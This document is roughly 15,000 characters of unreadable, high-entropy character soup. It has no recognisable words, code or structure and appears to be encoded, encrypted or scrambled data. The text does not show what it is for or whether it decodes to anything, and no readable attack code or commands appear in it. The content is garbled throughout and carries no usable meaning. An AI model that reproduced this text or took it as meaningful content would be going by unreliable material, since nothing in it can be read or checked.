~RYQ#8 5~C}'#hrZxR"-:h`F8VV&p9gZFV?x|Ax	!Pws, s{zwV;## !xwQ,#4hrc^['$ TgU]9#$Y# 3?ue]|<(&6S]s]9#$Y#+rS^O <0X!.l(kYtE9V7^(vue]x	8X .PcC#$&49SX|ZT.` zgp5#&p9bsd^ #4	 3xue]| 3, :!asUN
,!-#R]pL 3,X!.4TgpF8	8!.i'Us^@8#das`F>  5RN\8VWYma]Q5#-:h`F8VV&p9dd\#$h {sE'0[	xue]|70[h(U|xF87&*3xue]|3	 
}zgp5#4#hZ@'Q!p'S^X'Vl(}]sX#Qp8hc'$3rc^[,,Y!-9RMU]>/ :x]YQ
0RP'S||Z5R"3rcd\;#Z(}]sX
#(*;xue]|5 #ue]|5	# SMsX
, %SstL9S d{MsC'0[ l({NE@9,(*;xue]|<R'$4vue]xZ!qakc|g<( ?!ddO>	49kZ`<(:/(`sVZ>#4&*?!dde4:rcX`n2(/:3?~C}'#4"zsh8	,Y#a:id;<,Y!:?!hlp^V
q<#UrB8V0X 5{MYF5 (xwsQ, r#hp^9	$	 <St] 33'hZZ#S<klX'  <S`Z' ;<xstA3,a!kl`P83[& #RMUF7	^7U|@V46hcYT0!q&Ssd]"   Uc\># -!}ws]T9(dAX #<kb[>3W&49SZX0Zs `_t{U45hcxE 2[&m%Us^@8
/7!SYC 74hrlVL8U,r'RYtB'9!:xsx^9V746{MEQ##a!klcYV[m)hYtL 30!*;?z`AxZ!qakc|g<( ?!dt[ 7  q
#xsd 3/46{MEQ##a!klcYW,.)Sc] 2['%i`F9	+rS^9V[=hlx^87q"kgpB8V04:hJ #746{MEQ##a!klcYW,.)Sc] 2[ .<Uc`ZV0!*;?z`AxZ!qakc|g<( ?!hde' &8Sx-:h`F8VW0?R`L'&<ihZ9
, ql!z`
X 3W. #kwQ VW:3xue]|,0 vhlxO<		+rS^F 
&m%Us^@8['45U|YVS\!p<iVZ>"[ 4#SZ`P;3W :;?ze}5	&;RrFR R(izdtE' .izRtEV&a%Ss^Z8
0#m"SMUF+)+rS^F 
&m%Us^@8['45U|YVS!p<i|@8	Wp	!zgYx	#
#SlpT7#P d|d'+^7PckY 
4p
?SP <
!p
5zwVA U[ qm:kc|	7rg` 3Srh(ags_#[&<6kb|d'+^7PckY 
4p
?SP <
!p
5zwV@Vqa:SYd\>'	hreY]>#4!,+xpQ[<kg{5#&p9dd\#$h {|9, !-
#kwp]<0.5klX'  <S`Z' ;<xw` 3S	3xue]| 3, :!asxO
^7rS^F s `_t{U p!igs
7# .4{{MYQ?R" (xwsQ'# (U|@V46hcYU(
'hYJZ'[&9RstL9W:/(`s^LW(
'hYJZ'
%}p^9W,Z ;?aMx </(P|xZ R:;(S\8##9h!kMZU8 5gs@8,,
*/(iw{@ <0r/&}wpU
 !p|krE_7Bp?klVR
'[*y{@	^7(xwsQ'# (xwp9V[=hlx^87.'kst_8#7qhML;#$ p;!}wpw;<,!.'kst_8#7:a#Us@9V
a|{MY
!:whgpY9	4;%{Mp@8	,#=agVX" .4<kl|c8V[!r/&}wpU[&9iw{E" !q0'ks'+9m-UY^Z>URQqdx^]X8	Z	+r]sQ'# (xwsQ, r#hp^9	$	 <dMp <(#a:{MEQ#8 )kdV, -
#SZ`L'!9hM <(#a:{MYFR" (xwsQ'# (U|@V46hcYT0!p
6xs^837 kY^E 2[
)hC>#4& {MZ>#/#5UcgC8	4Y:3?~C}'# (xwsQ'## xg`~![* fMVL38qi9ksgX7	'4hxwsQ'# (xwsQ'# 
~RdO 
4h(hlxO<	q<%hMQEV:;<{|\ 	!}wVB3:/!RsZA!6SwQEW \&09S]QEW(X-3!}wV<+ <!TY^A-(?RwQEV(_#6{MEX8	/ <<S|^>#7 <5Uc^]9#4  ;?~C}'# (xwsQ'# (xw`]3W(agp^9
('?!Pt .a$|N{X' 9RYd]&5htC!q}{MEX ,(Z${MEXV 	!}wVO;V
X -
#R]QEV,#p9S`D;<3 <?R|`^	!:;<{^A 
 <RY^A>V;<{|Y;34%{MEX9#[&#SZ`O?7p:Sx p5kcX'#
5hc`B&8Ss] p{PccX' q<%Psd\;q 9kV^>#,:/!R^L83$#:;<{BB
,!}wVL<# <{MEX>V[ %hcX'#m>hgQFR" (xwsQ'# (xwsQ'0 p<:Ss^ #4!:vxstO9	$\	 <|kd.hUX''m{{MEX8##p!}wV\><(:/!kd <8}cF9
(!*;?~C}'# (xwsQ'# (xsd\;#Z9 &R^XR" (xwsQ'# (xwsQ'0Yi8actO9	$\	 3xue]Q'# (xwsQ'# (kYO 3$#  {|dL <(&/(hlQ#Yh?ue]Q'# (xwsQ'# (xwsQ#	<5SVY;3,	 
?UsdB7	'*(xwsQ'# (xwsQ'# (xwsQ'0Yi8fQ
7##
#S`Ax# (xwsQ'# (xwp9V[=hlx^87#RYh8'4;RsJ@ #7:/({ME]>#4! 3?~C}'# (xwsQ'# (xw` 3S6RYt'	^7(xwsQ'# (xwsQ'#.a6kct\;'#
'SYVZ9 !:$Pl`Z87	'*(xwsQ'# (xwsQ'# (PckY>W,q0?hUY#Yh?ze}'# (xwsQ'# (xwsQ'# ({|`Z8< vxw`F>#44hxwsQ'# (xwsQ'#<5S|ZU !.;zwVs3W!}wpF8<  q
#zwQE'
#SlsF0'*(xwsQ'# (xwsQ'#&;Rp^9
('??~C}'# (xwsQ'# (xsh@9	4q?(zw`]8W a'ksdO9 !:$Pl`Z87	'*(xwsQ'# (xwsQ'# (PckY>W,q0?hUY#Yh?ze}'# (xwsQ'# (xwsQ'# ({|`Z8< vxw`F>#44hxwsQ'# (xwsQ'#<5S|ZU !.;zwVs8W a'ksdO94;RsJ@ #7:/({ME]>#4! 3?~C}'# (xwsQ'# (xsd\;#Z9 &R]
'*(xwsQ'# (xwsQ' Z!qakc|g<( ?!bq`s,,#{MEQ>W,? {`['S:3?~C}'# (xwsQ'# (x|VL8U,r'RYtB'  pRMQE! # #iVZ>"[ qmkc9qhMY8W,Y!:;?z`Ax# (xwsQ'# (xwpZV
 ;whZ{@
!:aZp@9V]q<#U|p>3 ?&dYd^ '+qhMA<,&q	?awL9#$) hcxE 0VQ.a6Sgp@8
,X.i?UpUV -<SwJC>3 ~x]J;#-'RYtB7W[ ~kgJ;#-'RYtBW[ ~kgY9	4Y&:xsh^8,,r/!a^J9VQ&	dcZx@80&	da|`]
 -~Uwp?< 
#T|cQ8	$i8hlx^80'&.<Ucg VQp
$a^E@>,+B
6a^J  W< 9/9Usc
,0) ?SZp>' Y'#al`Z?,3 .;k`A<( (UYtE>37P8|pW0)/9U|{
'[Y<k`;3W&	(U|^A 0S&;PlcQ>	$&vx^VQq9RY'*(xwsQ'# (xwsQ' * Pl|L <3	 
)dqb"!!igEQ"[8rfMVA	"{]pF9U[&i#RY^\'0agrAX9 +3({]kQ;<, -;klxFrd`TW#rh?zgp5 (xwsQ'# (xwsQ'# 
kcA R*xue]Q'# (xwsQ'# (xwsQ#8!*?x{rgU,<:<8|]VR P 
)dqb"!!i`A]U 9r
-{sOUR	:3(TC}'# (xwsQ'# (xwsQ'# ({|dF '#P8S|F?"[
8UdF 'rd`TW#rh?~C}'# (xwsQ'# (xwsQ'# (PckQ'0X#	?ue]Q'# (xwsQ'# (xwsQ'# (xwsQ,0 (}^Q;	[ *?!~]QE,4 3:xXJC'*(xwsQ'# (xwsQ'# (We}'# (xwsQ'# (xwsQ' q09xwQ
+*;xue]Q'# (xwsQ'# (xwsQ, r#hp^9	$	 <RdO9 
kcA0'*(xwsQ'# (xwsQ' P7(xwsQ'# (xwp5#$#S||Z,'$3U|@V46hcYT[=#RZ|F8VV<5Sd'[!zgY5#<5S|ZU !.;zwVtV,&mxr|Z>,0 .<5{MJ9V[/' ?!SYd#$qa~SZ`L	4hre^9V[=hlx^87#R]ptV,&mRMQE>W,? {Z>' X!q6{MYFR"hrS^ZV
 ;w}`F>V4hrlVL8T8 p
#R]UFR"$hueB[>3W&49S]p^W0 qmP|sY7 ^7PckY;<,	 {rgU,<:<'PYtUR	xue]Q'# (xrVbW,&9SFF 7
 {rb2(>-{Zc" agwVR7# <'PYt&~kgY5#a&i|<(Y	 3xue]|34[/ {rgU,<:<8|gVR0'$3{|`Z8<#&ks\>3S -	:kd3 :Uqx	33r Rq>, X& ;?}Z|?3.
?RpE<	P:;xks\>3S -	:kd3 :Uqx	33r Rq>, X& ;?}Y^C8	4
epX#$ks|L8#$#5zsZ83!%PctEV
!- SxP V4Yq<kctC'	 &isU9Y/!ips_7# !~JC'$3kc|Y8 &<kcY,0 ?}ws_#V  $UsdB9 '$3klZF> '$4vue]Q'## kcA>,	ae|c#.{{F'; #Slp?7rd`TW#rh?ze}'# (xwpnT[
%SD;37 	~zw`PT4:(fMV"08s0dcX7	*!hcB^?'?~C}5#&p9bsd^ #4	 3xue]|;3;#5klcY"[8rfMVA	"{]sY"[8rfMVAhvxwVF8	8:3?x|Ax	# SMsX
#/dwpF8	8 a |` #[<hl|L
3, -
#SZc
,,Y' #a]A, q 9R^]\ #phw}|?3*;xue]|3[ phlx'	^7rlpY9#.` z`Ax	#
;Rws#[ q<#Ur\8#4 *??~C}'# (xws]>#Sh(R|xZ U[<hc|Z#$!.zxwUx# (xwsQ'# ;'zsx@ ,Q(,UMF	['/(UscE,0  |gEQ; ++:zZ^8<,;<ue]Q'# (xwsQ'#
$}wp;' ^	 l>zl^8<,;<ue]Q'# (xwsQ'# ?ScVTW	9l'Sl|F77(xwsQ'# 3<xstO9	$\ ?r]sQ'# (xwsQ'hxwsQ'# (xwsQW :U]EQ	 m x|`Y,h!}u}'# (xwsQ'#:;r]sQ'# (zgEQ,0! 3xue]|34#`(R`OW(! 'hgY;<{NJY 
SlsF'V a$Plk
#(*;xue]|<5R" (xsd\;#Z9  |`p?#4&
?SQ!
89ksgV) $PlkQV!pvhC>#4&lwkYO87 i#alp[#S&09kpA8W,Ya:Rd_83Y?k]Z;#.>hlUCV
q,#kw^7

r RrEX#WX /<UsZF9W q
#}Zh^8,4	,vkcJL <	/!dsZA' -<SwJ;#.9ksgC>	$&<iwVU	^$#U|dO8  5k`A_
Y0hlxZ7 i#ac|@ #7q 'R	#hgpF  S8#S`Z
	 #Slp?7rd`TW#rh?aZ83!%PctEV
!- {rgU,<:<8|gVR0:3:{NE@>#4]&6kcw
#!x|`9#7P!p&Sc^,8 #aad3!p
zSsg	S!.<?S]8W#_{x^XR"%Ps
Q#Q#m8UlcQ>,i%Psd\;V(' :hcZ
3$?(UYtE>37P!}]U]T,9s,cbFB  7acbxa2(s0grpP	![= <+zgX3' <+aMV\;#4#q${N]X	9l(RdC ' X!q4:kMpt	$0 a"SxB
!.(Pcc#
pR|d,,Y' #ag{X
 TgU]U 9r
-{sNUR:<$Pl|A8#$\.m9SYg:3:{^9	 *iSs < ]:(hJ^9W/P /7a]Q5## xcdB9,0\	 
)dqb"!!igYF,'$3SxP9W0!-	 z`Ax	#'SwU]U 9r
-{sNUR4hre^ZV
0ScJL9#4#<hZ^9
/ q)kdV,:zwYFR"hrS^ZV
 ;w}pO 0VQq
?U^XR"<5Sh@8W0!*??~C}<5R"("Uc\># *'h`F8VW.# #R^8+r]sQ' * xcdB9,0\ ?$i|fT#+!k]VR7	'*(xwsQ'#aez	14q!igs! X -#RY^^8#_?$i|fT#+!k]VR0'*(xwsx*?'kcA>,	ae|c<+zgYQ?R"45U^Vae|c<+zgp5#4%hl|Z'X! 9hc`q;397rSY|5*?'`s@>	4&<St] 30.4<kgU]T8#fMV[USp
;RrC3Srh<xw`P$-{kX2 .;kgVR7	'$3reY| 3, :&`tCW3&<St]#8 'x^Ax	#4&RYd^;'$3rc|^9V7qi=ks^O'$3re^F i=ks^O'0agrAX9 +3?ue]|5	#%Ps
Q, *<xs|O 3$Y:klQQ #)+rSY|5 !.'PNAx	#'RgQV0 kgQ 5#3kZdCW0 ql(ksdE <046zw`A<0	xue]|5	#
8hl`Y R	~hZ|9!PwEB7	P;9{MYQ
#!Pp]]9#$Y# l!}MQ5#3rg`];'#9RsdC #	 
8hl`Y0'$3reY|>V
 (zwsY#Yh(agpO 3$46zw`];'		'a`Q 	$!q?x|Ax	#3rg`F>#4h({|p^>#4kc5#3re^F # 0&hl|Z8	$?$Pl`Z87	h(x]C	$/(zsx^9V4i#zw`F>#4	vags_+ 3rSY|5	#4%S;3WX+rSY|5	#
TlpZ R.4<kl`9#74kcFR"3reY|;3;	 
TlpZ RP $Pl{_5R"3reY|30 ka`F9#
#SgY5#3re^Z8,,7reY|5	#:Ss^C;#
#SgY5#3rlx	#3hJ@9V4# {s`Y0'$3reY|,(46zw`A<0	+rSY|5P7reY|;3;#)hlxO<	 
)dqb"*<+zgYx	#3kYO 3$# ?$ipfU0q!igp^9#*3(TC}'# (xwsQ'# (xwsQ'# (PckY#;h({MC	'*(xwsQ'# (xwsQ'# (xwsQ'# %S;3WX+rSY|5	#
"xpQ><(%S`Z'0	+rSY|5	#4"zs^LV0!*?$k]YF5#3reY| #4
#cs^O'0	+rSY|5	#<Rgx	#3re^w>3W#m=zw`[0'$3reY|<5R"3rcxO 3$4hreY|V$!RstL>#7$hreY|3	 
)`f	T/:<'hcX7#P!hA?7+rSY|5	#-:h`F8VVqa8TbA<,Y?$hME]9 4xue]|5	#4?k]ZF9U[# {sC,/	+rSY|5	#4;P`F9 l$RMY5#3reY|#SpZ8	0!*?$hM]9	^7reY|5	#&q0?SsgQ'*vxqpO 3$46zw`Y7	hvxsh^8,,	hreY|5	#4?k]sY'0 vxw{C	m$xwU] #&}]_7	'$3reY|5	#9R|^P9#$& {sC,/:`!}w`['# l$RMX4hreY|5	#$#S||Z;3;#)kY^E 7:l$RMYF5#3reY|#,!3 {sC,/ 
$}]`L0'$3reY|<5R"3re^[8W( zw`PT[9s4	fMV[UR({skF5#3re^\8W \p'R`Z'0sab^prh<{skE'0!a`aJb&q	!igY5#3WgpZ8,,# {rrT[%-{t\>'hvxwVB8W8:3(TC}5	#4"Uc\># *;ShZW !p
#zw`\'0 
$zlAx	#3rc^[#q
?R]U]V!:3?TC}5	#3rcD #	 
$}]`L0'$3reY|5	# vxqp@9#446zw`\0	+rSY|5	#4|Ps^E 7#	 
"xpQ,(
$Pl{Y#	'a`Q 	$!q?ue]|5	#3rc^['(x`QV 	'SYcQ'0 vxw{C+	hreY|5	#3hA?2[kgU]V!:l!}MQE#; 
$}]`L:3xue]|5	#4vxsdE9V4*0Pl|P 	?$hM]9	7reY|5	#9R|YY#/<xw`]0	+rSY|5	#$hreY|5 p#hc|Y'0sab^prh(hlQ#;7reY|5(!.:hcZ'0sab^prh:{skE'0!a`aJb&q	!ig] 	^7reY|<7  #PckY"[-sabadTV$& <+xp'_#!zgp5#3rc^[#,5id;<,Y!:?!fY^A<(#4}kgQF7 ^7(xwsQ'# (xwsQ'# (xwsQ'#'.48xpQ8	4Z(?RqtOV
&. z`Ax# (xwsQ'# (xwsQ'# (xs^[''.48}`@9#4	 
)dqb"!!igEQ7	+r]sQ'# (xwsQ'# (xwsQ'# (xwp\;#0!*?$i|fT#+!hMVR0'*(xwsQ'# (xwsQ'# (xwsQ'# "SxZ3,	 
)`f	T/:<"{Q</?x|Ax# (xwsQ'# (xwsQ'# (xwsQ'# (PckY#;h({MC	'*(xwsQ'# (xwsQ'# (xwsQ'# (xwsQ'#9SZ`F8
44hxwsQ'# (xwsQ'# (xwsQ'# (xwsQ' *0Pl|P 	?$i|fT#+!hMVR0	3r]sQ'# (xwsQ'# (xwsQ'# (xwsQ'# (xw` ;<#.$kqhF8#7aez	14q!ig] ?~C}'# (xwsQ'# (xwsQ'# (xwsQ'# #S||Z;3;45i`F9seF|2:<+}]`[7	'4hxwsQ'# (xwsQ'# (xwsQ'# (xwsQ'# ({s^ <(&a6xpQ8	4Z#hdO9V[4klx^>#[
#RYt8W+ .|xrxZW4!q4}ka`F9	4&a6Ta^ <(&a6zw`[:/(cY^E <,\!p
#Sa^ <(&a6~^Bb	T8s
grF0'*(xwsQ'# (xwsQ'# (xwsQ'# (xwsQ'#9RYd^V	 
?UsdO<0!*'RMs];V4\l$UYtE>37+r]sQ'# (xwsQ'# (xwsQ'# (xwsQ'# (xwsQ'#'.48}`^ #0.# #z|xZ3
 zw`D <	 $Pd0'*(xwsQ'# (xwsQ'# (xwsQ'# (xwsQ'#hr]sQ'# (xwsQ'# (xwsQ'# (xwsQ'#$hxwsQ'# (xwsQ'# (xwsQ'# (x|x# (xwsQ'# (xwsQ'# (xwsQ' #
?R]U]T9(dAXWrh?~C}'# (xwsQ'# (xwsQ'# (xwsQ'0_#;aY|E8W,	 3xue]Q'# (xwsQ'# (xwsQ'# vue]Q'# (xwsQ'# (xwsQ,R'$3re^#4!q?k]U]T,9s,cbAX3,Yrh(a`QW4'.48{MYQ?R"3re^F 
 5RZ?#& {BF9!$q0?UYgX7	'4hxwsQ'# (xwsQ'# (xwsQ'#(?Rws#W&:.Plpt9	,##zwY5 (xwsQ'# (xwsQ'# (xwp[8W( zw`PT[9s4	fMV[UR({skF,'*(xwsQ'# (xwsQ'# (xwsQ'# ?k]U]?	m9RsdC'0sab^prh:{skF7 ^7(xwsQ'# (xwsQ'# (xwsQ'# (xwsQ'0_#;aYd>,(p
SMU]T9(dAXWrh?~C}'# (xwsQ'# (xwsQ'# (xwsQ'# $TY^A0W a5kgUFR" (xwsQ'# (xwsQ'# (xwsQ'#hr]sQ'# (xwsQ'# (xwsQ'#hr]sQ'# (xwsQ'# (xwsQ<5R"3rlQ 34"zw`PT[9s4	fMV^W3vagsX>#$:3(TC}'# (xwsQ'# (xwsQ' #
?R]U]T,9s,cbAX	+r]sQ'# (xwsQ'# (xwsQ"[-sabadTV;vxstO9	$\qi'RwUX <,#RZZ8#!.;!}ws]T,9s,cbAX 	+r]sQ'# (xwsQ'# (xwsQ>W,? {`^9 -(}xwQQ !q'RsdL;#4 6kMU]U 9r
-{sOUR l({MsX'V#i8Ss] 7 ;<xw`PT[9s4	fMV[UR	+r]sQ'# (xwsQ'# (xwsQV
# {qV{T(+-{| '	+rSY|5P7reY|>3W	 {rrT[%-{kX7	^7(xwsQ'# (xwsQ'#!qh@;V	 <"{MEQ
?ScgY7#}|psFR"3rcxO 3$4hreY| #4<Up]x# (xwsQ'# (xwpF i8U|YY"[8rfMVA7	3(TC}5	#4dL <0 qa=PcgYV$& ;<xw`P![=+!RpwX7	^7reY|2=p#Us|@8V?!k]QE,,!.4'Ss^  7
(ae|crh?z`Ax	#3g|f9V4Yqa9P^Z':/(`w`P![=+!hMVR0'$3re^5#3hZxZ3^7rlxP7(xwsQ>W,'ksdO'	^7kc|Y8#?7a_hF8#7 :hcVZ9#das`F>  5RN\8VWYma^JLW(!	dRptP
<#9i8|
+^ a5hxF9,3B9+rSY] #qa:UsdC>'#P<5S|\3W# Pl|L <3ae|crh?aM`P![=+!hMVR0!a`aJb&q	!igY5## {s`F9, -
#SZcQ
0RP'S||Z7 ^%Ps
QT, //!Uwp@9#4
 PlQ 	[6xgQ>W,.a9UsdO'	^#U|dO8$hrcVE8V(  $RO> '$3$RO>'#P6RYt'i#{MEQ7	^7PckY34!
zzw`P![=+!RpwX7	+rSY|;3;!#kB<0# ?!xl|P"+(+zM^P"'9vzgwX'#rd`TW#rh<xw`B<0# 3?ue]|5	!qa6Uws#$!.zzw`B<0#+7igEQ#& 3$SctV
/h?~C}<R'.%Ps
Qp?R|c5#-:h`F8VV!q zgp5#9R]ZF
0#^# $}YhF8#4.<kcZ8
0. #SYV; 	:+?ue]|5*0$}YhF8#4.<kcZ8
0q4+}Z`9#7h({|Y 3,.a{{MYx	#4$}YhF8#4.<kcZ8
0q4+}Y|Y 3,	(agp]	8 5}YdE 3S -
5fNpR	,=kcc5#$hawLW(!	due]>#$  (U^]>#P98|wgX#,5agVB3:%kcJE9W q4:kNX'q<S|p^ #0 .;v{N{X
R"9RYQ8	$i"PcJZ9 
 Sc9#[&lwU|{
,0<?k|`Y
7p{{N;3W&	(U|^A 0S#%Px@?'  .<Pc|D
7??{Mp\8#$!9i%PsF_? VQp
 a^J; VQ RYd[
7:9SY|E;3,<!zrE_	hcU& <}rE_9U[i#iM{C'0 pfNtR
#_3:xXE_7B.;k`E@0VQp
 a^J; VQ RYd[
7:9SY|E;3,<!zrE_	hcU& <}rE_9U[#(#iM{C'0 pfNtR
#_3:xXE_7Bq4yk`E@0VQp
 a^J; VQ RYd[
7:9SY|E;3,<!zrE_	hcU& <}rE_9U[ q
?kZ^PV9RZ`T2RF77zg_'+9mS`F 
	Qqdaw; VQ&?deVC <+p9UlsW0) Pp7 !."agQ\  .<Pc|D
7	/&cY^E <,'m,x]JC>3/&RA <(!r`&}]U]9V[&+7i`
A'*,x]YX
 !.i?R|F8VW a'a^E@>#B
 a_t\># -w}`Y
&dx^Ax	46RMs'0# #RMs#$!.zzwY5#l(agp\8W4& ?$ks^OV[&:UwY5#.a6zw`F
0#^3w{s#		:3(TC}5	 p;(agpw9#[#0)kd9,X#	 `shF8#4&qm#R]U] #qa:UsdC>"#h?z`Ax	#<6xpQ, !q4{iVZ>#q4$zqp[;3p9UlsY#0!(9SZ`Z8
04+zgY5#
SlsQ
7 !-'TgUX8	$;(a`Q#0!(9SZ`Z8
04+}u}5	#3({p^>#hdxw`~![* fMV\>V3l$ks^OV[&:UrA];2R7reY|7# a$Pch#P*$hl`Z'3h;kwp		_!:;<xqp[;3 
?ScgY!$ser|TV,Z <+xwQ#0!(9SZ`Z8
04+zgYE5#3rgsX9#4 !xp, r#RYLV[ p {qV{T(+-{| ' l({s`F9, -
#SZ`T#	/rSY|5	# <5PlBZ#P*kY^E <,'. {qV{T(+-{| '*
$Plxr8VWYmfM`F7	7reY|7# p<:kl{X RB 
9UAX8	$<+aM`@>U .;kgVR # #SVC <+
?R_|@8
0 -
-{s^R7'$3reY|'!.a~RwQQ
0V<6fMVC3Srh`{sVOi#{ #8 !RY9'46`C>#4&+$PbF5#3rgY5#4"zqpF9U[# #zw`~![* fMV\>V3:xw`];<(- qmkc03?ue]|5	.4<kl|T7#P6RYtVS!.<#zw`8<#6RYt'Y'#{Ms
#.4<kgQF0'$3kcJL 3	?RE;3W	 
equ1=:<%UcX7# 
$Plxr8VWYmfM`F7	7reY] #!r,+xpQ<(4)ScdO V7
;RwEQ<(3 {`9#7hdxwVE;3W:/({JF8	hdx|xZ30#m=zw`8< p'UsUX7		+rSY| 34"zqpF9U[# {qV{T(+-{| ' l({s`F9, -
#SZ`T#	3rSY|70#5fQ
7 !-'TbB <(?$UsA' !-'TgUX>,;(a`QV0!*;?z`AxP7{qV{T(+-{|@9
3vxw`L8W(Y4hrch8	,Y#a:x|VL8T,! ?$hgEQ#++rSY|;3;<ext",p9RZcX2'agsX9V_;?ue]|5
~RYQ9W0qi8z||9
0 a|kl{Y#$<ext",p9RZcX2h?}wpL>,(Y q 9UdO'0 :
equ1=:<5SxUSi+zgYG'0!a`aJb p{T2RF7;|gY5#<Rgx	##U|dO8#	 
'fMVL;<rh(aws]!q4ykgVR7#F h7xp]Q7		 
equ1=:<5SxUSh`|`]B7	^7We}<4 pzw`[;3!:/(xZVL8T,! ?~C}<4 pzw`];<( &U|@VS*3xue]|#8 5xpQ<(4)ScdO V7
?RZE'0# #RMY5#/(agsAR"9RYd^V?SsdL#$ 
"zgp5#%Ps
QY!*;:zw`E
q 'R8 '*;!zgX
YlwPcA><3&48k`\;#4#q9TwpC3S"f_,8 #ag{X
4 :h] 7/+!SYtB 7	l!x]p\8#$!9i%PsF_? VQp
$a^J  VQ RYd[
7/ qm%Ss^\;R :l zw`[Y'#{
7# #{MYV <PcJZ9U0 q 5iwQE8
4   ,{MQC><(m%S`Z'0:<:hcZUR*<,{MEQ'[#|iwQFV.0ScJL9#4#<hZ^9
/-{^8373y{QY'.# #R^8/!{M] !PwVR
:3xx]sX'V	;R|`'/+!Ss^C;	`xwQX -
?UsJZ
7^-{JF8	h!x]YQ#) &aXAQ#0ScJL9#4#<hZ^9
/-{^8373(}]sX"RQqd{MYClw}`]
Yl!}]UY#8p
zRsgX0RPq?SsgX0[Z!qaPcdV_?$kXAX9V_<+z`]] &48kgVR7V akp>#3B:l$kXAX83[#z{C&	da|`]
-{8	4rh:{M
X0:<!RY9'*;w}`]
YlwhgpY9	4(S\8##9h&kMZUT8 5gs@8,,
: :UcJE":m~RYJZ8	, {shTVW !igYCU/!hZB8V0
:3&a]QC#8p#RYLUR'$3rgX
'[YlwUsc
#'##k^_+ qm%Ss^\;R :0,{hF8#4a9S||U& <}rEXWX!. #SY|@ #7-{^8373:{EX' 
p#SYtB 2	dd^E@0V(P|xZ R :(S\8##9h&kMZUT8 5gs@8,,
: :UcJE":m~RYJZ8	, {shTVW !igYCU ,{`@>3, ;?x^c
'[*;:zwU] &48kgVR
0R.4<kgQF
(P|xZ R :(S\8##9h&kMZUT8 5gs@8,,
: :UcJE":m~RYJZ8	, {shTVW !igYCU ,{d];<0
:3&a_gV'B 'xsZO 3;P*&xsCVq+vxYQY'.# #R`@8V ;<SZdE8'
:;:UlxE 3W q
#zw`[i#{F
:/(iwV]8W a'krEX7+B/9h`X	l!aw  VQp
6a]Q5#
<xpQ#F77~C}<R'$4#hZ@'+Q&da|`]#, 8hcV'$3wPcA><3&48k`Y;30l(SYtB 0S'S|dZ
7.# #R^8B7as^C9,4Y
zRsg;#:xs^837P:}hcJ 0R*:xsZ83!%PctEV
!- {qV{T(+-{| '	:x]Q5#4:R|d,0\!vPs^] #4m'ScgV
!-#Uwp3Xh!x]Q#!qzw`P![=+!hZ^9
,& <+z`
]U 9r
-{|Y<(	!i`]X	*;due]|
,, %UwpC3S<8|gQ
#[&49S]p3Xh!hA?7Bqa8T`E@8W Y#a:a^J@9,0 ql(UYtE>37Pqi9UYgX
S&.w}A># )lwSp;3['S|dZ
7 #UsgX
0 k`E@8W Y#a:a]{5 (PckYV!p)klZF9W0	 <.Plpt9	,##{MYF5 (xwsQ#4#`(x^J@9,0 ql(UYtE>37Pp(?RwQV[!#RQ,! 3w}A># )lwSp;3['S|dZ
7X -(?RwQ3W qi8RYdL9#'.48z`E@8W Y#a:a]{5 (kc|Y8# a8Us^@8 [ ~k`X>#$9mSA9	4!: UstO	_	/9Sp;3[*xue]Q'## xcdB9,0\	 
)`f	T/:<'hcX7	*(`s|@>3WY	 
)`f	T/:<"{F5R" (xwsQ' q09xw{8W Y#a:x|h^8,4<8hl| 7B5UsgQ - qi8RYdL9 pPcC
+^7(xwsQ 3, :&awL 3p	d{Y_9W#^)+r]sQ' *?'kcA>,	aez	14q%UwVR7#*h8
3aez	14q!igYQ;	 ?$i|fT#+!hc|URh({BF9' wxwU]T,9s,cbAX3,Yrh(a`QW0!*;?zgYx# (xwsQ 3, :&kY^E 7 i#~]s;3W&	(U|^A 0SY0xs^837P!(UYtE>37Pp<5S
_'VkgU_3Ss0?RM{F'V*l&xwQ'0sab^pp	!igs
7#'.48{N
X?	97!UstO	_:3(}]s_V .5RpA_R" (xsd\;#Z) ?SZp>' Y'#agVL>3(#	!x|h^8,4;da]Q
'[Ylw}`O
.a6S`W0. #a^E@ #[*xue]|>W,.a9UsdO'	^(vue]x	8X .PcC#$&49SX|9	r
9SJL'	'4hrc^['$&m%Us^@8['45U|YV
'&PcX7	'q~SY|;3[0#Tpx_;3V?x|FO <0X!.l(ksd\		0#Ts`Z! 3?~5 (PckY38X .PcCV4]#RMUX	#{{MYF,&m%Us^@8  #m klUY,#,6kl`9	V%Psd#( .
#hMU]9'	pivue]|;3;~SY|;3[q{Pl|9#{|YtLV:3?x|F[>3W&49S]pY <%PcYY,#':
6agQXV8!*?$P`A0R_JZ8! 3x{sYD
0+':
6}^\;,+#{ksd\'0:
?ig]9"#+7igYFWS
~RYQ,+^$hrS^F -:h`F8VW0?R`L'!q?P`xY <	3(Th8	,Y#a:xstLV.0#TwU]9'^v{MQ 	[	 
?a`s#	Q!p
6SsdC'0	+=zM`F70)h(RpO;3WY*?!{`sO' p$zw`A03?~xZ>,4 *5U|x8W4!6zw`O0P$hrc^['$&m%Us^@8['45U|YV8X  )UlxE 3W q
#{MYF,&m%Us^@8 & <idO8#4qa$kgU]9'^v{MQ 	[	 
?a`s#	Q!p
6SsdC'0	+=zM`F70)h({MgX	0q0#TwZ@9	3-{s^R7	^!.UlxC,,Y!-
9UlpA <+?~5#RY^C U0 q 5xpQ<(3 ue]|7*#^cQ 3W q
#{Ms
#.5k`kV4qa$kgQE5#<hl|Z3%S`Z#P*!hYtL 0;Yq
#h] 77rgV`9	m%S`Z#P*!UlxE 3W q
#{MEx	#r6Swp] 3,!xp'X!. $kc|@ #7hreYX
4  ~RYJZ8	,!xp'& <idO8#4qa$kgQE5#<;kpgQ;#$# ;(a`QVS;<ue]|7#7xsZ^9VhdxwVL;#':/rSY|V,'{Ms
#pzR|cX%R"3!`xr+hdxwV\9	/*;<ue]|7+sbgp8  ?!xp'!q?P`xY <hreYX	!40
9xqtbT#:va]sX;#4].5h^F'$3{Zp' Y :
caX RB < klZ] 3/hreYX	!40
9xqx|l({ZZ? ( #l!}u}5	x|`@!
/ ;(a`QV0q0#TwQE5#<
caQ>#Z(4 {Ms
#%hY^C'$3{x| Y :cbUX RB <&PcY <hreYX&
9xq`pl({xF8	0:;<ue]|7=&?SYQQ>#Z a|kl{QV$;(a`QW,Y!-
9Ss <+hreYXW0#m!x|`@,4!6xs|^9V7hdxwVL>,(Y p8RsdO'$3{Z83!%PctEV
!-!xp'&i<RpZV  hlxL'$3{|9	:<kcX>#hdxwVL>,(l!}u}7	^7PckY;<,	 {rgU,<:<'PYtUR	xue]|2=p#Us|@8V0;kpgY"[=cbxTT
<)bqb'	l!hcB^?'
6UcgFR"49hXL>#$& ??~C}5*0?SX^9
